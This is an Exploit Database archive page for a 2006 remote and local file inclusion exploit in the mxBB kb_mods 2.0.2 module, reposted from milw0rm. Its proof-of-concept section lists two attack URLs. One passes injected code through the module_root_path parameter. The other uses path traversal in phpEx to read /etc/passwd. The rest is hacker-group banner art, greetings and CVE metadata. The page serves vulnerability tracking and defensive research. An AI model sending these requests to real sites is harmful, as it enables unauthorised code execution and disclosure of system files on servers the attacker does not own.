Exploit Database - Logo

mxBB Module kb_mods 2.0.2 - Remote File Inclusion

EDB-ID: 2924 Author: 3l3ctric-Cracker Published: 2006-12-12
CVE: CVE-2006-6567... Type: Webapps Platform: PHP
Aliases: N/A Advisory/Source: N/A Tags: Vulnerability
E-DB Verified: Verified Exploit: Download Exploit Code Download / View Raw Vulnerable App: N/A
« Previous Exploit Next Exploit » 
_____         __  __             __      ___
|  __ \       |  \/  |            \ \    / (_)
| |  | |_ __  | \  / | __ ___  __  \ \  / / _ _ __ _   _ ___
| |  | | '__| | |\/| |/ _` \ \/ /   \ \/ / | | '__| | | / __|
| |__| | |    | |  | | (_| |>  <     \  /  | | |  | |_| \__ \
|_____/|_|    |_|  |_|\__,_/_/\_\     \/   |_|_|   \__,_|___/

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
                        Knowledgebase kb_mods  Multiple Remote
Vulnerablities
                            Remote File Inclusion & Local File Inclusion
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Script:knowledgebase
Version:2.0.2
Download:http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=55
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Author:Dr Max Virus
Location:Egypt
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Bug in :includes/common.php
Vul Code:

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Problem:The variable of phpEx & many variables are not sanitized
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
POC:
http://[target]/mxBB/modules/kb_mods/includes/kb_constants.php?module_root_path=Evil Code
http://[target]/mxBB/modules/kb_mods/includes/kb_constants.php?kb_constants.php&board_config[default_lang]=english&phpEx=../../..
/../../etc/passwd
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Thx to:str0ke & All My Friends
Special Gr33ts:AsianEagle & The Master & Kacper & HotTurk
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=

# milw0rm.com [2006-12-12]

Related Exploits

Trying to match CVEs (2): CVE-2006-6567, CVE-2006-6568
Trying to match OSVDBs (2): 31235, 35760
Other Possible E-DB Search Terms: mxBB Module kb_mods 2.0.2,  mxBB Module kb_mods
Date D V Title Author
No matches
Menu